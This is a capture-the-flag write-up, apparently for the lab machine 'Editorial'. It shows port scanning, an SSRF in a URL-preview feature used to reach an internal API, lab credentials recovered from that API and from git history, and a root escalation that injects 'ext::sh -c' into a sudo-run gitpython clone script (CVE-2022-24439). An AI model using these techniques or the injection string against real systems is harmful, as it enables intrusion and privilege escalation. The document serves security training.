# Editorial

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2FitjGBfGQIA7O7CIR6jCb%2FEditorial.png?alt=media&#x26;token=71c0fa9d-17b7-4a30-bc0d-4c4eeec6142e" alt=""><figcaption></figcaption></figure>

## Enumeration

```bash
nmap -v -A -O -p- -Pn editorial.htb -oN nmap
```

```bash
Nmap scan report for editorial.htb (10.10.11.20)
Host is up (0.051s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_  256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Editorial Tiempo Arriba
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=6/25%OT=22%CT=1%CU=36690%PV=Y%DS=2%DC=T%G=Y%TM=667A
OS:8DC0%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)
OS:OPS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53C
OS:ST11NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)
OS:ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%
OS:F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T
OS:5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=
OS:Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF
OS:=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40
OS:%CD=S)

Uptime guess: 47.259 days (since Thu May  9 05:15:52 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=256 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 995/tcp)
HOP RTT      ADDRESS
1   49.98 ms 10.10.14.1
2   50.05 ms editorial.htb (10.10.11.20)

NSE: Script Post-scanning.
Initiating NSE at 11:28
Completed NSE at 11:28, 0.01s elapsed
Initiating NSE at 11:28
Completed NSE at 11:28, 0.00s elapsed
Initiating NSE at 11:28
Completed NSE at 11:28, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.99 seconds
           Raw packets sent: 66482 (2.929MB) | Rcvd: 65859 (2.638MB)

```

### Port 80

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2Fw3lqWfPFxD19Cfg74u83%2Fimage.png?alt=media&#x26;token=826fdbe0-d7b0-4b53-b433-0106bb738caa" alt=""><figcaption></figcaption></figure>

On `/about` page we find another domain that is `tiempoarriba.htb`:

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2FWclJrAXvnM8wPbiHfcVA%2Fimage.png?alt=media&#x26;token=633cf717-5580-4d95-913a-af3a66332007" alt=""><figcaption></figcaption></figure>

Directories and files enumeration with `ffuf`:

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2FPvxlEXOEvdbqeVpSqM8C%2Fimage.png?alt=media&#x26;token=1eb509ce-a68d-4e76-9e8a-367ab2978c2d" alt=""><figcaption></figcaption></figure>

There is the `/upload` page:

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2F5Qa6EVx9NQYceTgN0FFO%2Fimage.png?alt=media&#x26;token=3d958db7-de74-4cf0-a1d5-f6884ef8305e" alt=""><figcaption></figcaption></figure>

The form allows you to upload a file depicting the book cover or submit the URL associated with the book cover. Also, it is possible to get a preview, but this does not seem to work because, as we can see, the file name is renamed and the file extension is removed. When we open the preview image in a new tab, the file is downloaded directly, so it seems that it is not possible to execute directly on the webserver any kind of command possibly injected into the uploaded file:

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2FyjxCX0JjUfyystRmAoUj%2Fimage.png?alt=media&#x26;token=0eda598a-bd11-4553-a545-1db204bc1d3e" alt=""><figcaption></figcaption></figure>

## Exploitation (dev)

If we try to intercept the request we can see that the URL is not sent to the backend and the response is the usual "Request Submited! blahblahblah...":

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2Fy70hpRhkYPwlKETmBcIY%2Fimage.png?alt=media&#x26;token=69d0c0a1-0e8d-4896-9221-03c9f969e087" alt=""><figcaption></figcaption></figure>

Instead, the interesting part is the URL preview because this feature might be vulnerable to SSRF and allows an attacker to cause the server-side application to make requests to an unintended location:

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2FmxoGIdoMQjii3gwinHLG%2Fimage.png?alt=media&#x26;token=2e0c1068-2371-44f7-8020-2c4d1d15684a" alt=""><figcaption></figcaption></figure>

but as before the file name is renamed and the file extension is removed.

However, this means that we can control the requests made from the backend to an endpoint we like externally or even internally. We check whether it is vulnerable to SSRF.

Using Burp Suite Repeater and the `http://127.0.0.1` as URL for the preview, we will obtain a result in the response:

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2Fh0obDPlQhNoBWlY0SAJj%2Fimage.png?alt=media&#x26;token=34b01798-be00-463b-905a-ad1405376244" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2Ft0O3UJmFqSyqvFJzr0hf%2Fimage.png?alt=media&#x26;token=a1be379d-1889-4fe5-bbdd-3b2ada0a17a0" alt=""><figcaption></figcaption></figure>

This machine may have other services in the backend, we can enumerate them burp intruder and add a port number between 1-65535.

All the requests have this path in the response when requested a preview using a URL without any service running (that is the same shown before):

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2Ftr0Hz4msLhb9DcbkYANE%2Fimage.png?alt=media&#x26;token=342794d1-4337-45b2-802e-46e4d63fa9bc" alt=""><figcaption></figcaption></figure>

So filter this string with a negative search:

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2FgahQ5PcBaHHt4xBSOgYb%2Fimage.png?alt=media&#x26;token=9eb7f41a-22ec-4b4f-976c-3a97ba43e615" alt=""><figcaption></figcaption></figure>

And we will find the only one with a different response, the port 5000:

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2FTNLCqmdnV4u9BK1Zl1IR%2Fimage.png?alt=media&#x26;token=033e58c9-322d-4194-9f06-79906689f382" alt=""><figcaption></figcaption></figure>

Download the file and inspect it, seems to be a JSON:

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2FnEaff68eNRz7ppzGq7L8%2Fimage.png?alt=media&#x26;token=194fe302-20af-465a-8631-29a74d2b23dc" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2FXlT3oTZLEBSqxMAHXvh5%2Fimage.png?alt=media&#x26;token=be0ebb2f-9cd5-49ae-9d1f-f530dcf1b930" alt=""><figcaption></figcaption></figure>

It appears to be exposed on port 5000 an API endpoint and this appears to be the list of exposed methods.

Testing the various endpoints, the only one of interest is the following:

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2Fczrviz62YLGNTA9vEpdg%2Fimage.png?alt=media&#x26;token=a330fc96-58e4-4f65-831f-4e989f2555ab" alt=""><figcaption></figcaption></figure>

and we find juicy credentials:

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2FWkrZadtHjaszFiAw9ZCS%2Fimage.png?alt=media&#x26;token=0b0fe03c-aebc-4a97-aa72-803c627853d4" alt=""><figcaption></figcaption></figure>

Username: dev

Password: dev080217\_devAPI!@

With these credentials we can only try to login using SSH:

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2FyRy22b0XwKwxaDUJzaIJ%2Fimage.png?alt=media&#x26;token=d0e97b49-7204-48d7-8ee0-01b43eb9cc63" alt=""><figcaption></figcaption></figure>

And user flag is here.

## Privilege Escalation (prod)

There is another user (prod) that own also the `/home/prod` directory:

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2FsyznzwUdEB1ziJql0mSp%2Fimage.png?alt=media&#x26;token=162ac8e5-ca0b-4d3f-8a98-1beb3a416dc1" alt=""><figcaption></figcaption></figure>

Using the command `git log -p` we can inspect all the commit messages and differences commited to git repo. We can find the prod credential changed during the downgrade from prod to dev:

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2F5Fnf9WyuhMLKWnt9hhhb%2Fimage.png?alt=media&#x26;token=1682d280-7943-446e-9009-48f0bb3ceaf3" alt=""><figcaption></figcaption></figure>

Username: prod

Password: 080217\_Producti0n\_2023!@

ssh and get prod session :tada:

## Privilege Escalation (root)

The first thing to try on a Linux machine is always `sudo -l`:

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2F714lIYLv1MknuzEFwyCP%2Fimage.png?alt=media&#x26;token=edc30e2d-2e13-43c7-99a5-069352098f2f" alt=""><figcaption></figcaption></figure>

This is the code of script allowed to run as root that performs a clone of a Git repository using the `gitpython` library:

{% code overflow="wrap" %}

```python
#!/usr/bin/python3

import os
import sys
from git import Repo

os.chdir('/opt/internal_apps/clone_changes')

url_to_clone = sys.argv[1]

r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
```

{% endcode %}

Searching online how work git module, we can find that <mark style="color:red;">**EVERY version of gitpython**</mark> is vulnerable to RCE

{% embed url="<https://www.cve.org/CVERecord?id=CVE-2022-24439>" %}

The PoC on Snyk website:

{% embed url="<https://security.snyk.io/vuln/SNYK-PYTHON-GITPYTHON-3113858>" %}

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to improper user input validation, which makes it possible to inject a maliciously crafted remote URL into the clone command. Exploiting this vulnerability is possible because the library makes external calls to `git` without sufficient sanitization of input arguments. This is only relevant when enabling the `ext` transport protocol, as done in the script with line:

```python
multi_options=["-c protocol.ext.allow=always"]
```

Change the command injected by dumping the root flag and saving the output to a file under /home/prod.&#x20;

{% code overflow="wrap" %}

```bash
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c cat% /root/root.txt% >/home/prod/root.txt'
```

{% endcode %}

<figure><img src="https://1547554589-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFYE93TaEaXbLcW75fyKv%2Fuploads%2FbB6yv2DS50vxvrgooKQt%2Fimage.png?alt=media&#x26;token=88eb7b73-edc7-4171-84f9-5b02401e22a3" alt=""><figcaption></figcaption></figure>

Enjoy root :tada:
